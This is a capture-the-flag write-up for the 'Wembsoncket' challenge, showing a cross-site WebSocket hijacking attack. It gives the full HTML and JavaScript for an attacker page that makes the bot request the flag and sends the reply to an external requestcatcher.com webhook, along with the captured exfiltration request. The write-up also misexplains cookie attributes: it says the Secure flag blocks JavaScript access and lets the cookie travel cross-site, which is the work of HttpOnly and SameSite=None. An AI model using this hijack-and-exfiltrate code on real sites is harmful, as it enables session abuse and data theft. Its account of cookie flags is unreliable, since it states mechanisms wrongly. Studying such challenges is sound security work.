The site is a chat interface with a bot that communicates over WebSockets. When you send it a URL, it will check whether that site is UP or DOWN. Our goal is to capture the bot’s admin cookie so that we can issue the /getFlag
command.
Problem: the cookie’s attributes prevent us from reading it in JavaScript.
set-cookie token=<JWT>; Path=/; HttpOnly; Secure; SameSite=None
The Secure
flag stops us from accessing the cookie via document.cookie
in JS.
Solution: redirect the bot itself to a page we control. On that page, our script automatically sends the /getFlag
command over the WebSocket, and then forwards whatever the bot replies (including the flag) to our webhook. Even though we can’t read the cookie in JS, the browser still sends it along with each WebSocket request thanks to the Secure
flag.
In practice this results in a POST like:
POST /onmessage HTTP/1.1
Host: totototo.requestcatcher.com
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Length: 69
Content-Type: text/plain;charset=UTF-8
Origin: https://tim-xd.github.io
Referer: https://tim-xd.github.io/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
User-Agent: puppeteer
{"message":"Flag: byuctf{CSWSH_1s_a_b1g_acr0nym}","sender":"URL Bot"}
The attack page is hosted on GitHub Pages, and the webhook endpoint used is https://totototo.requestcatcher.com/
.
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Wembsoncket Exploit</title>
</head>
<body>
Hello!
<script src="index.js"></script>
</body>
</html>
const WEBHOOK = "https://totototo.requestcatcher.com";
function webhook(path = "", data = null) {
let req = new XMLHttpRequest();
req.open("POST", WEBHOOK + path, false);
req.withCredentials = true;
req.send(data);
}
let socket;
// Initialize WebSocket connection
function initWebSocket() {
socket = new WebSocket("wss://wembsoncket.chal.cyberjousting.com");
socket.onopen = () => {};
socket.onmessage = (event) => {
// Ask the bot for the flag
sendMessage({ sender: "user", message: "/getFlag" });
// Forward the bot's response (including the flag) to our webhook
webhook("/onmessage", event.data);
};
socket.onclose = () => {};
socket.onerror = (error) => {};
}
function sendMessage(data) {
socket.send(JSON.stringify(data));
}
// Kick off the WebSocket connection as soon as the page loads
initWebSocket();